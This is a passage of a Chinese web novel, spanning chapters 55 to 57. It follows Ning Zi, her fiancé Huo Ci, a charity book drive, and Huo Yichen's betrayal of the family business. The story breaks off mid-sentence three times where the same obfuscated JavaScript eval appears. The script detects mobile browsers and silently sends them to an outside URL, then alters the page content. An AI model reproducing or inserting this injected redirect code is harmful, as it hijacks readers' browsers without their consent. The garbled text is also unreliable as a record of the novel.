小宁姿兴奋极了,“看见啦,还看得很清楚呢!在海面上竖着一群大白鲨的鳍,就像随时要动起来。又像是翻涌的浪花,吐着洁白的泡沫。” 听了她孩子气的描述,父母二人对视一笑。宁姿又挥了下小拳头,“我长大以后也要修悉尼歌剧院,修圣玛丽大教堂和大本钟。” 父亲侧了侧头,笑着说:“我们姿儿这么厉害啊?” “不止呢,我要修好多好多漂亮的房子,把世界变得像童话故事里的城堡一样漂亮,然后和爸爸、妈妈永远幸福地生活在里面。” 一家三口的欢声笑语留在这个温暖的梦境和永恒的记忆里。 第二天早晨,宁姿醒来时,脑袋有些昏沉,在床上多赖了几分钟才肯坐起身,低头见自己还穿着昨天穿的毛衣和长裤,外套脱在一边。走出卧室门,正好撞见迎面过来的霍辞。 “你怎么会在我家里?”宁姿脱口问道。 霍辞看着她,嘴角轻弯,“这话问得太没良心,你醉得不省人事,是我把你抱回来,还替你脱了衣服。” 明明只是脱掉外套,这话从他嘴里说出来实在令人脸红,宁姿赶紧低声道:“不许说了。” “你还横上了,明明答应过不碰酒的。”霍辞故意板起脸,抬手捏了捏她微微浮肿的小脸。 宁姿立即辩解,“昨天是特殊情况,叶丽佳非要灌我。” “不许找借口,违背承诺就得挨罚。”他十分兴味地看着她,忽然捉住她的手,把人往卧室里拖。 室内没开灯,窗帘也严丝合缝地掩着,光线昏暗,只模模糊糊瞧得见人的轮廓。霍辞将她抵在墙上,然后重重吻上她微微发凉的嘴唇,带着几分游刃有余含住她的唇瓣,深入吮吸,唇舌交缠。没有半分克制,放肆地席卷。 寂静而昏昧的卧房里,彼此的呼吸声紊乱而急促,早已分不清谁的更加乱。接吻发出的细密声响被无限放大,彼此热烈的心跳也沦为应景的伴奏。 终于分开时,宁姿又感到天旋地转了,软绵绵贴在他的胸口,叹道:“我哪里坏得过你?” “果然,你记得昨晚。”霍辞埋头坏笑。 宁姿脸一红,奋力从他怀里钻了出去,赶紧溜走,只听见后面隐隐传来他的低笑声。 本来说好出门约会,享受难得的假日,没想到吃早饭的时候,窗外忽然电闪雷鸣,下起大暴雨,两人只好改变计划呆在家里,窝在沙发上看一部老电影。宁姿靠在霍辞的怀里昏昏欲睡,霍辞接了一通电话后,神色变得严肃,“运输路段山体滑坡,有两辆运输车失联了,我得尽快赶去,抱歉。” 宁姿一下子清醒了,忙说:“应该的,你快去吧,注意安全。” 霍辞点头,“你放心,只是到了出事的路段,手机不一定有信号,可能不能给你报平安,你别着急。” “我知道了,但你安全回城里后不管多晚一定要给我打电话说一声,好让我安心。” 霍辞郑重点头,随后匆匆离开。 一整天宁姿都心神不宁,看书也静不下心。天黑之后,室内半昏半明,只有一盏台灯亮着暖橘色的光芒。一直没等来霍辞的电话,宁姿时不时按亮手机,查看是不是漏接了。 突然,手机震动起来,几乎只响了一秒钟,她立马接通,脱口而出,“霍辞,你怎么样了?” “你吃过晚饭了吗?”听筒里传来他低沉的嗓音。 经他提醒,宁姿才想起自己还没吃饭,但一点都不觉得饿,为免他担心,只好谎称吃过了,却不想他说:“撒谎,开门。” “你在我家门外?”宁姿先是一懵,紧接着从沙发上跳起来,踏着棉拖鞋一路小跑去开门。 门外果然立着那道高瘦的身影,霍辞的外衣皱巴巴的,全身落满了泥点,尤其是裤腿,头发也乱着,过长的额发遮住眉眼,看得出是淋过雨的。宁姿急忙拉他进门,找了条干毛巾替他擦拭头发和身上。 “怎么搞成这副样子?”她后悔没在家里替他准备一套换洗的衣服,又说,“去洗个澡吧。” “不用,头发和身上都干了,等会儿回家再洗。”霍辞温和答道。 宁姿确认他没受伤,才问:“情况怎么样?” “两辆运输车被泥石流冲下山坡,货物和车体都毁了,好在两名司机机警,及时弃车逃跑,躲到了安全地段,没有人员伤亡。” 宁姿抚了抚胸口,“真是不幸中的万幸,那货物的事影响大吗?” “财务损失是一定的。好在这批货的买家很明事理,了解清楚情况后只要求退回订金,没要额外补偿,只是对方急着用这批建材,找了别家公司合作,这笔单子算是丢了。” 见她满脸怅然,霍辞又安抚道,“不是最糟糕的情况,你不用担心。” “奔波一整天,干嘛还来找我?”见他这样狼狈、疲惫,宁姿满是心疼。 “打电话哪有让你亲眼见着我安心?瞧,我一点皮都没破。”他略带轻松地一笑,“再说,知道你担心我,吃不下东西,又怕你直接糊弄过去,还得带我的未婚妻出门吃好吃的呢。” 霍辞好笑地睨了她一眼。她抬起手替他整理额发,露出似落星辰的眼睛。 彻底放下心后,宁姿沉寂已久的胃好像突然活过来了,饥饿感一下子苏醒。两人去了附近一家沙县小吃店吃饭,也不知算晚餐还是夜宵。 宁姿饿得很,鸡排、鸡腿、卤肉一块块往嘴里塞,吃得嘴唇上泛起油光。霍辞看她馋嘴的样子觉得十分有趣,拿餐巾纸替她擦了下嘴,促狭道:“不知道的还以为你是哪里逃出来的难民。” 宁姿咽下口中的食物,又喝了口海带汤,这才慢条斯理地怼回去,“论造型,你更像难民。” 他笑意更深,往她嘴里又塞了只蒸饺,没等她嚼完,又塞下一只、第三只,直到她腮帮子鼓鼓的,跟只贪吃的小仓鼠一样,他忍不住笑出声。宁姿口中包着食物,努力咀嚼,不忘瞪他一眼。 这时,两名女学生说笑着走进店里,她们也是清远的学生,和张一妗交好。自从张一妗在大赛陷害宁姿组的事情被戳穿受处分后,沉寂了很长一段时间,没有再找过宁姿的麻烦。但她恨宁姿也不是一两天的事,这两名女生没少从她嘴里听说宁姿的坏话。 短头发的那个下巴抬了下,“那边那个是宁姿吧?” 另一位扎马尾的回头看了眼,“还真是,跟她坐一起那男的是谁?男朋友吗?” 短发女点头,“肯定是,他还喂宁姿吃东西呢。之前有传言说宁姿拒绝霍亦辰是因为她男朋友是隐藏的商界大佬,现在看来都是假的。你看那男的穿成那样,脏兮兮的,肯定不是什么大人物,估计还得靠宁姿倒贴呢。” 两人嘲笑了几声,马尾女又问:“你说她为什么要拒绝霍亦辰,选择这种男人?” 短发女不屑哼声,“拒绝什么,估计是霍亦辰对她腻了,她为了面子才说是自己拒绝霍亦辰的。校花又怎么样?她那男朋友给我,我都不要。” 马尾女十分同意她的说法,“咱们把这个消息告诉一妗,她肯定高兴。”说完,举起手机悄悄拍了张照,画面里是笑着说话的宁姿和霍辞外套上沾满泥点的背影。 一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985828|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,这张照片被传到了校园论坛上,一时间楼盖了千层高。宁姿本来就是票选出的校花,关注度向来很高,评论区留言大多是感慨宁姿眼光不好的,甚至有人恶意推测她是被社会上的混混给骗了。部分男生则高兴地表示女神的眼光这么低,自己也有机会了。而关于“宁姿被霍亦辰抛弃后自暴自弃”的言论甚嚣尘上。 叶丽佳看了这些评论后,气不打一处来,狠狠一拍桌子,“宁姿的男朋友明明是自己创业的富一代,比沾了父辈光的霍亦辰厉害多了。我也要去评论,你们帮我顶上去。” 宁姿微笑道:“谢谢你替我考虑,不过不用了,没必要浪费时间解释。” “哪里没必要?你没看他们说得多难听。”叶丽佳忿忿不平。 “嘴长在人家身上,管不住的。我们来这所学校是为了学习,为未来铺路,不需要关注其他无关紧要的。再说,人这一辈子本来就会承受别人的指指点点,但我们不是活在别人的嘴里或认知里,活出自己最重要。要是在意别人的看法,一天天的得累死了。” 听了这番话,叶丽佳总算冷静下来,“就你想得开。” 大一下期的课外实践内容,宁姿、董筱、叶丽佳、文成四人组选择了旧书捐赠活动,课余时间在小图书馆内一角设置摊位,登记收取校内学生捐赠的旧书,之后统一寄去山村学校。这一活动十分有意义,响应的学生众多,一上午就登记了六页名册,四个人忙得像陀螺一样连轴转。 “文成,你不舒服吗?”叶丽佳注意到文成的异样,走过去关心他。 他摆了下手,“我肚子有点难受,不碍事。” 宁姿观察他的样子,担心道:“你的嘴唇都白了,还是去校医室看一下,别忍着。” 董筱也急了,“宁姿说得对,我扶你过去。” 文成终于答应,被董筱搀扶着离开。只是四个人的工作量一下子落到两个人头上实在辛苦,叶丽佳忍着腰酸背痛好不容易把书分好类,对宁姿说:“我去倒杯水喝,马上回来,给你也接一杯。” 叶丽佳离开后不久,一行五名男生走了过来,为首的男声皮肤黝黑,脸颊却有些红,其他四人脸上挂着奇异的笑,推搡前面的男生,目光不时往宁姿身上瞄。几人停在摊子面前,领头男目光鬼祟地瞧宁姿,露出门牙笑了下。 “同学,请问你们捐赠什么书?”宁姿翻了一页册子,提笔正要记录。 黑皮男搔了下后脑勺,“我们没有书。” 宁姿疑惑地抬眼看向他。 “我家是开面馆的,不过你别误会,我家店开了三家,算是家境殷实。”他一本正经道,正当宁姿更感疑惑时,他又急促说了句,“宁姿,你跟了我吧。” 宁姿定定神,缓缓地把册子合上,神色厌恶地问:“你们是在戏弄我吗?” 后面四名男生立时发出嘲笑声,喧哗刺耳,使她感到不快。 “我说的是真的,你这么漂亮,何必想不开倒贴呢?而且你和霍亦辰的事我也听说了,可我不嫌弃你。”说完,为首的男生还大胆地上前一步想抓宁姿的手,好在她够机敏,撤身避开了。 “同学们,如果你们没有要捐赠的书,就请离开,不要耽误活动进展。”宁姿冷道,见他依然像狗皮膏药一样甩都甩不开,又义正言辞地说,“否则我就不留情面直接向老师举报。” 这下其他四名男生笑得更欢,嘴里还闹着“哈哈哈,我说不行吧,人家看不上你”。黑皮男脸上挂不住,气极了,骂道:“假装矜持,以为自己多金贵呢。” 临走前还故意把一摞书踹倒,随后一行人吵吵闹闹地离开。 宁姿翻了个白眼,蹲下身整理书本,视线里忽然迈进一双光滑锃亮的漆皮高跟鞋,抬起脸一看,来人妆容精致,神色却张扬跋扈,是许久不见的张一妗。她吃了亏,却还改不掉傲慢的秉性,居高临下睨着宁姿,哼声,“当初还以为你多有本事呢。” 面对接二连三的骚扰,纵使再好脾气的人也忍不住了。 真是的,这些人怎么这么烦人? 宁姿豁的一下站起身,冷笑一声,锐利的目光盯得张一妗心里直发毛。 56. 第五十六章 地面上散乱地躺着许多书本,有些是闭合的,有些掀开了页,还有些边角弯折起来。 张一妗被宁姿冰冷锐利的目光盯得心里毛毛的,竖起一双细眉利声问:“你这么看着我是什么意思?” 宁姿故意摇了下头,扬高声音道:“我们在这里举办旧书捐赠活动,是向尊敬的校领导们报备过的,手续也正规办妥了。你眼前地面上所有的书都是善良的同学们捐赠的,之后会送去给山区的学生阅读。但你竟然丧心病狂把这些书推倒了,万一有破损,你得负全责。” 张一妗懵住了,想明白她话里的意思后气冲冲反驳,“我进来的时候这些书就已经是这样了,明明是被刚才那几个男的踹倒的,你想趁机诬陷我?” “这里就只有你和我。”宁姿语气斩钉截铁,随后慢悠悠掏出手机对着散在地上的书本和神情惊慌的张一妗接连拍了好几张照,随后嚣张地扬了扬手机,“我现在就去找张主任举报你。”说完,果真抬步朝小图书馆外走。 张一妗本来是特意来看宁姿笑话的,没打算再多惹事。上回吃了亏,被下处分后,她收敛许多,生怕再被抓住就是停学乃至开除,这一下子被吓了一大跳,踩着高跟鞋一路连跑带追,出了大门才终于拦住宁姿,瞪大眼问:“你这样诬陷我就不怕遭报应吗?” “不怕,你本来就有不良记录。狼来了的故事听说过没有?况且我有证据,你又没证据证明自己的清白。”宁姿故意激怒她,话说完,眼角余光往右边的丁字路口处一瞄。 张一妗顺着她的目光看见刚才找宁姿麻烦那五名男生的背影,像抓住救命稻草般冲上前去,大喊,“你们给我站住!” 五名男生停住脚步,错愕地盯着拦在他们前面的张一妗。其中一个中分头的男生认出了她,兴奋道:“是美术系系花张一妗。” 张一妗顾不得仪态,一心只想着处分的事,凶巴巴地兴师问罪,“是你们中的谁把书踹倒的?”刚才她没看清楚。 四名男生一齐看向黑皮男,虽然没有说话,但答案已经很清楚了。张一妗锁定了目标,表情凶悍地质问:“是你干的吧?跟我去把事情说清楚。”她伸手扯过男生的衣领往回拖,其余四名男生都看傻眼了。 “你干什么?”黑皮男回过味来,知道肯定不是好事,心里的弦绷紧,推开她的手,不肯挪动一步。 “是你把那些破书踹倒的,现在宁姿拍了照要举报,却想让我背锅,凭什么?”张一妗用力拽了他袖子一把,“现在你就去找张主任坦白,承认是你捣乱,跟我没有任何关系。” “我不去。”黑皮男再次用力挥了下袖子,把人甩开。 这时,杵在一旁看这出狗咬狗好戏已久的宁姿闲闲抱臂,插了句话,“你们好好商量清楚吧,总得有一个人为此负责。” 说完,甜甜一笑,大摇大摆地走回小图书馆,竖起耳朵听身后传来的争执声—— “我们急着去上课,你别挡路。” “不行,这事你不承认就别想走!” “你一个女的在这里对我们拉拉扯扯,不觉得丢人啊?” “我呸,就你们这种垃圾,换作平时就算死我面前,都不会多看一眼……” 叶丽佳回到图书馆时,宁姿已经把散落的书本重新整理好。叶丽佳一步三回头瞟着门外,说:“我好像看见美术系那个张一妗和几个人吵起来了。” 正好一个女生抱着几本书来捐赠,宁姿和叶丽佳一个登记,一个确认书的内容后分类放好,接连又来了几位捐书的同学,忙碌了好一阵,宁姿才得空闲喝口水。 张一妗气冲冲进来,鞋跟踏得很响,利声说:“你倒是在这里气定神闲的喝水,就让我和那群蠢货纠缠。” 宁姿缓缓放下水杯,眼皮子都懒得抬,“所以是哪边的蠢货争赢了啊?” 张一妗不耐烦地走到宁姿面前,扬起手中的纸,“这是刚才那几个混蛋的签名,证明了书是被他们不小心碰倒的,和我没有任何关系,你休想诬陷我。” 宁姿一笑,“多谢学姐替我教训他们了。放心,诬陷人这种卑鄙的事我做不来,之前只不过是开个玩笑罢了。” 张一妗捏紧纸张,用力到指节发白,单薄的纸面立即现出几道皱褶,“这么说,你是在耍我?” 宁姿朝她睨了过来,“要是没别的要紧事,就请学姐先离开。我们得抓紧时间整理书籍,等会儿还有学生来呢。” 张一妗不肯就这么轻易离开,咬着牙语速极快地说了句,“听说霍亦辰对你厌倦了,当初还以为他对你用情多深,原来不过是玩玩而已。” 宁姿实在无言以对,“这都过了多久了,怎么还霍亦辰、霍亦辰的,你的人生里就没点正事吗?” 张一妗咬牙,“都这样了,还嘴硬呢?” 正好这时几名学生来捐书,由于过道比较狭窄,不小心撞了她一下。张一妗被挤到墙角,心里憋闷得紧。 门口又进来一道身影,所有人都没注意到,直到那道身影走近,张一妗不经意间抬眼一瞥,才发觉是心心念念的霍亦辰。其他捐书的人认出了他,都很识相的散到一旁。宁姿登记好几本书的书名、内容简介和捐赠者信息,后知后觉周围没声了,抬眼正对上霍亦辰盯紧她的目光,她脸色沉下,“旧书捐赠活动进行中,无关人员请自行离场,不要耽误进度。” 霍亦辰低声说:“我是来捐书的。”他身后跟进来三个男生,手里都抱着厚厚一摞书。 “那也得按规矩排队。”宁姿冷道。 霍亦辰微不可察地一皱眉,目光冷冰冰地扫向捐书的几名学生,他们不想和霍亦辰发生冲突,默默退了出去。 “这下轮到我了吧?” 霍亦辰理所当然的态度令宁姿更感厌恶,他从身后男生手中随意抽出一本书,宁姿接过后递给叶丽佳,埋头登记内容。霍亦辰故意一本书、一本书递给宁姿,期间视线一直没从她的脸上移开过。张一妗看不下去,走到他身边,露出个妩媚的笑,“亦辰,你也来捐书吗?” 霍亦辰连一个眼神都没给她,垂下视线对宁姿说话,“我申请加入你们活动小组,张主任已经签字同意了。” 宁姿虽然心里抵触,但这次他有正当理由,她只能被迫接受现实,嗓音凉凉道:“新成员来得正好,原本组里唯一一个男生不舒服,去医务室了,我正犯愁这些归类好的书该怎么装箱放到储藏室里,看来只好麻烦你了,霍亦辰同学。” “没问题。”霍亦辰一口答应,向身后几名男生使了个眼色,他们立即会意,走上前打算搬书,被宁姿制止。 “等一下,这几位也报名参加活动了?” 这几人面面相觑,其中两人小幅度摇了下头。宁姿摆出一副“那就没办法”的表情,说:“如果搬运途中出了问题,我得负责,所以不能交给非活动组人员,还得麻烦霍亦辰同学亲力亲为。” 霍亦辰还没说话,张一妗倒先尖声质问:“什么?你让亦辰一个人搬那么多书?” 宁姿头也不抬在册子上写写画画,“要是不乐意,随时可以退出,不过相应学分就不能加了。” 张一妗竖起眉毛还想争论,霍亦辰不耐烦地推开了她,“有你什么事?闭嘴,走远点。” 张一妗维护他,却被他当众打了脸,涂满艳色口红的唇还来不及合上,当场愣在原地,瞳孔震颤,模样既可怜又滑稽。霍亦辰挥手示意让跟着他的几个男生离开,目光深意地看了宁姿一眼,走到桌后,把归类好的书用绳子捆好,再一摞摞搬到推车上。 张一妗被晾在一边,叶丽佳瞟了她一眼,迅速挪到她身边,揶揄道:“以为是来耀武扬威,结果反而碰了一鼻子灰。” 张一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003570|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妗低头咬紧牙根,跺了下脚,恨恨地把手中的纸往地上一扔,转身朝门外快速跑走。 宁姿绕到桌前,蹲下身捡起那张纸,展开后将皱褶抚平,低声道:“明天又多几个帮手了。” 第二天清晨,昨天来小图书馆戏弄宁姿的那五名男生准时出现在校门口,哼哧哼哧地搬运打包好的旧书上货车,胳膊都要抡起火星子了,一个个再也不敢嚣张,勤劳得跟小蜜蜂似的。 终于全部搬上车后,货车开走,运送书本给对接的山村学校。忙活了许久的五名男同学走到宁姿面前,统一低下头,看起来要多纯良就有多纯良。黑皮男小声说:“宁姿同学,我们都知道错了,你别举报我们,成吗?” 宁姿满意点头,“同学们都辛苦了,各自取瓶水喝,都散了吧。”说完话,把手里攥着的五人签名检讨书也撕掉,扔进垃圾桶里。 五名男生如获大赦,顾不得拿什么水,一溜烟跑走了,生怕她反悔。 这时,一辆黑色宝马车停在路边,鸣笛声引起组员们的注意。车窗摇下,坐在驾驶座的霍亦辰开口,“宁姿,坐我的车。” 旧书捐赠活动的校内环节告一段落,活动小组又以校方名义提交申请,继续在社区广场开展面对社会人士的旧书捐赠活动,由于场地离学校有一段距离,时间又赶,需得坐车去。 “这车坐不下咱们这么多人呀。”叶丽佳看着车,心头犯难。 宁姿淡道:“丽佳,你和董筱、文成上车。” 霍亦辰听见了,下颌咬得紧绷,深深吸了口气,道:“宁姿,你上车。” 话音才落,车轮飞驰的声音传来,如同风刮过树梢的沙响,入目的是一辆劳斯莱斯银色幽灵,车型大气又奢华,吸引了在场所有人的目光,就连霍亦辰都忍不住探过头去看。 他一周前看上了这款车,打算订下来,却被车行经理告知已经被人预定,想要的话还得等半年。当时问了下买主的情况,没告知具体信息,只知道对方是做生意的。 车停在霍亦辰车的前面,驾驶座门开,下车的人是霍辞,他穿着休闲风的西装,暗红色领结别在颈间,既挺括有型,又不会过于正式。霍亦辰大吃一惊,没想到车主竟然是他从没放在眼里的小叔。尽管被霍老夫人严厉警告不许再接近宁姿,但他清楚霍辞不被重视,分不走霍家的资源,心存侥幸认定只要霍辞生意失败,就不再有翻身的机会,宁姿自然会弃暗投明投入他的怀抱,现下见霍辞简直像变了一个人一样,他心底忽然起了一丝慌乱感。 霍辞大步走来,看到宁姿时幽深的眸子瞬时升起温柔的光彩。在场众人都有些讶异,叶丽佳更是直接喃喃出声,“宁姿男朋友开的车好酷,衬得人更帅了。” 霍辞停在宁姿面前,目光柔软,微抬右手提着的纸袋,慢悠悠拉开袋口,此刻空气里散发出包子暖香的味道,“你爱吃的,龙井西路的鸡汤小笼包。” 宁姿双眼一亮,“正好肚子饿。” “龙井西路好远的,竟然为了宁姿爱吃,一大清早开车去那里,都快出主城区了,这就是别人家的对象吗?”叶丽佳赞叹了一声,“开豪车给心爱的女人买早餐,我最近看的电视剧就是这个剧情。” 霍辞又说:“大家的份在车上,不了解你们的口味,所以几种类型的早餐都买了点,大家挑喜欢的吃。” 叶丽佳两眼放光,“还有我们的份呀。” “有心了,谢谢。”董筱和文成礼貌道谢。 霍亦辰感觉胸口像被冷风肆无忌惮地灌入,呼啦啦地横冲直撞,席卷着苦闷和腥气。霍辞扫了他一眼,冷笑,“没想到多了一个人,早餐少买了一份。” 霍亦辰胸腔那股酸意几近将他淹没,可是所有的一切,他却无能为力。 看霍辞挤兑霍亦辰的幼稚模样,宁姿忍不住呵呵笑了两声,跟着他上了车。 57. 第五十七章 关上车门,坐在副驾驶座的宁姿笑得花枝乱颤,停不下来。 霍辞斜眼瞄着这位不顾及形象的小女子,“你是不是病了?” 宁姿饶有兴致道:“特意打扮过才来的,胜负欲这么重啊?” 他从鼻端哼了一声,“你惹出来的祸。” “这回我可是很乖的,一有情况先向上级报备,不过实在没想到,你会这么……隆重。”宁姿咧着唇,故意盯着他看,“这车我都没见过。” “这年头,商业合作也需要包装。”霍辞淡道。 她意犹未尽,继续笑眯眯逗他,“不怕我吃小笼包的时候不小心把汁水溅得到处都是?” “凉了就不好吃了。”霍辞帮她把纸袋打开。 她捏起一个小笼包,放到嘴边咬了一口。霍辞看着女孩的脸颊被初升的朝阳映得红彤彤的,轻道:“我也尝尝。” 宁姿把纸袋往他那边低了些,他却一眼都不看,低下头,贴着她的唇吻了下去。宁姿被缠得浑身发软,气息急促,唇面被吻舐得发热,即便没照镜子,也猜得到自己脸颊通红。 松开后,她害羞地垂下眼皮。 “味道不错。”霍辞低笑。 到地方后,两辆车一前一后停到广场旁的露天停车场,所有人下车搬东西。刚过九点,广场上行人稀疏,多是上班族匆匆赶往车站,旁边的早餐店门口倒是排了些人。 “宁姿的男朋友看起来瘦瘦的,没想到那么有力气。”叶丽佳捏了捏董筱的手,示意她看,只见霍辞双手扛了四把塑料凳子,脚步生风。 董筱轻笑摇头,“快来分宣传单,别馋别人的男朋友了。” 霍亦辰原本独自杵在摊位旁无所事事,见霍辞忙前忙后搬东西,宁姿抱着宣传册跟在他身后,当他回头时,二人相视微笑,心里头一股火骤然蹿上来,难受得很,立时不甘示弱搬起两张桌子,胸膛起伏,像跟谁赌气一样,注意不到周围的声音。 一辆电瓶车快速掠过,骑车人走了神,正好撞到霍亦辰右手提的桌子,冲击力使车主连人带车滑倒在地,发出一声响。霍亦辰右手吃痛,被带得踉跄倒地,手上提的便携桌子也跌到不远处。 他满腹郁愤瞬间找到了发泄口,爬起身冲到车主跟前提着领口将人拽了起来,怒目而视,吼道:“眼睛长在前边当装饰吗?” 车主不服气,反驳骂道:“我一直叫你让开,是你自己像聋了一样往我车头撞,找死你去马路上撞汽车。” “我看找死的人是你!”霍亦辰骂骂咧咧,捏起拳头,手臂上青筋暴突,眼见就要朝车主脸上砸,吓得对方下意识抱住脑袋。 霍亦辰的胳膊被人从后方桎梏住了,霍辞沉默地来到他身后,拉住他。见是霍辞阻拦自己,霍亦辰更是怒火中烧,眼中浮上红血丝,目眦尽裂、神态可怖。车主被他这样子吓得不轻,大气都不敢出,一动不动。 “走。” 霍辞低沉的嗓音传来,车主如梦初醒,挣开霍亦辰的手,连忙爬上车,加速骑走了。 霍亦辰使了力甩开霍辞,缓缓直起身,转过脸冷笑,满眼怨怒。霍辞依然面若冰霜,没开口,转而提起跌倒的桌子走向摊位。 布置妥当后,广场上的人流逐渐壮大,霍辞同宁姿几人一起分发宣传册,给肯驻足的人讲解活动内容,引起了不小反响,许多周边的热心住户返回家中取书来捐赠,还有不少人表示想捐款。宁姿和对接学校的负责人联络后,分享了合作募捐基金会的账户信息。 广场附近几条街分别设有一所小学、两所高中,片区内还有一座大学城,往来学生很多。临近午时,许多热心学生也来响应活动捐书。宁姿几人忙得不可开交,虽然累,内心却十分充实。 到了十二点过,来的人渐渐少了,大家终于有了休息时间,坐在小凳子上喝水。宁姿关心文成,问:“你昨天那么难受,怎么今天还来?” “医生说是受了凉,吃了药,也敷了热水袋,一点事都没有。怎么好继续偷懒白拿学分?”文成说话,拧上保温杯的盖子。 霍亦辰独自坐在一旁,目光低低垂落在不远处地面上的一粒小石子上,不知在想什么。 霍辞捏着一瓶药油走过去,递到他面前。霍亦辰抬头,霍辞淡道:“摔倒的时候手扭伤了吧?” 霍亦辰下意识把手往身后背去,表情漠然,没有回应的意思。霍辞并不在意,转手把药瓶放在桌板上,“药放在这里,自己抹。”说完话,他走去帮宁姿整理登记表。 霍亦辰冰冷的目光扫向深棕色药瓶,眼底晦暗一片。 午后,宁姿去了商场里的洗手间,出来后在走廊遇见迎面走来的霍亦辰,她移开视线,霍亦辰忽然停步,抬起手臂阻挡她的去路,“我的手受伤了。” 宁姿目光微移,落在他袖口露出的右手腕,皮肤颜色发青,面上还有一道深红的口子,没有渗血了,依然醒目。她冷道:“霍辞买了药给你送去。” “他买的药我已经扔了。”霍亦辰答,左手捏着一罐白色软膏,“这是我刚买的,你替我涂。” 宁姿不肯看他,缓缓转开头,“我不愿意。”话说完,迅速推开他的手臂,快速离去,没有半分迟疑。 他不情愿,转身想朝那道朝思暮想的身影追去,然而,霍辞的现身如同一座横亘在他与她之间的高山,充斥他的视线。 叔侄间有亲密的血缘,此刻对视的目光却是漠然,霍亦辰下颌线紧绷,如同随时准备迎战的青狼。霍辞眉宇凌厉,一双深暗的眸子晦色莫测,重重地问道:“消停了一段时日,你又忘记母亲对你的敲打了。” 霍亦辰勾了下唇角,凉薄又固执,“祖母的心始终偏向我,这一次也不例外,她总会原谅,然后成全我。” 霍辞猛地皱眉,目光变得锐利,“母亲向来对你偏爱,你本该心怀感恩与敬意,更加约束自己,而不是肆意妄为,令她蒙羞。当初至亲离世,家道艰难,最苦最痛的日子里她从不落泪,以柔弱的肩膀挑起霍氏的重担,为的就是不让任何人轻视霍家。” “而你,她最看重、亲自教养出的继承人却摈弃伦理道德,但凡有一丝羞耻心,对待抚育你长大的祖母有一份恭敬心,都不会这样做。” 霍亦辰依然不甘,愧恼难当,哆嗦着唇道:“你不配用祖母压我,全世界最令她气愤的人就是你。” “这话说对了,我的确算不得什么孝子,但最基本的界限,我还是比你清楚。”霍辞直视他,冷淡道,“我问你,你是从什么时候开始隐瞒母亲和关元明走得那么近的?” 霍亦辰瞳孔一颤,生硬地撇开脸,“不知道你在说什么。” 霍辞冷道,“关元明野心勃勃,在他提交的规划里,预计在下一季度新增酒店配套服务板块,在这件事上,他与母亲分歧严重。而在股东大会上,关元明精准打击所有反对派的方案薄弱点,致使最终配套服务提案以微弱的票数优势被定下实行。他关元明不是神,显然是出了叛徒。” “这些只不过是你的臆测,况且就算出了叛徒,也无法证明是我。”霍亦辰换了一副脸色,目中阴恻偏狭,咬牙道。 霍辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022091|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷笑,“原本只是猜测,你的反应告诉我,我猜对了。” 霍亦辰长目微眯,哀恨地看着他。霍辞继续说:“近年来,江城内新建饭店、酒店数量增多,就连老字号的红鼎轩都面临亏损,险些倒闭,你以为霍氏一家独大的局面还能维持多久?在资金链本就紧张的情形下,再投入资金发展配套服务项目,无异于拿整个霍氏的未来去赌。赌赢了,方便他关元明在内部安插心腹,与母亲分庭抗礼,也有助于他中饱私囊,广捞油水。一旦输了,霍氏就完了。” 霍亦辰不服气,“你少说话来吓我,我早就不是孩子了。” 霍辞隐怒点头,“你当然不是,在母亲傲慢地以为她将你教养管束得很好时,你早有了自己的歪曲心思。你的心里没有承担霍氏的责任,没有饭店上上下下数百名员工,没有亲情和感恩,甚至忘记了你的父母,否则你不会站在外人那边对抗你的亲祖母。” 霍亦辰放大声音,“我不甘心处处受到管制,是祖母用霍氏的继承权逼迫我放弃宁姿在前,她的思想太过古板陈旧,不论是在私事还是公事,都是这样。关元明的想法我非常清楚,他想要什么并不重要,我能得到什么才重要。” 霍辞不屑地嗤了一声,“权衡之后,你认为值得冒险?” “我是一心为了霍氏好,依照祖母那样传统保守的经营方式,霍氏一直在走下坡路。如果前怕狼后怕虎,总有一天,霍氏会被取代,甚至彻底消失。我是经过深思熟虑,才赞同关元明提出的改革方案。” “这话说出来,你自己信吗?”霍辞捏着手指反问,毫不动摇。 霍亦辰恨透了他好似看穿一切蔑然至极的神情,语气越发激动,“霍氏正面临时代大潮下必要的转型阶段,一旦成功,不仅如今经济危机带来的困境会得到改善,度过寒冬,还能增大规模体量,迎来更上一层楼的机会。” 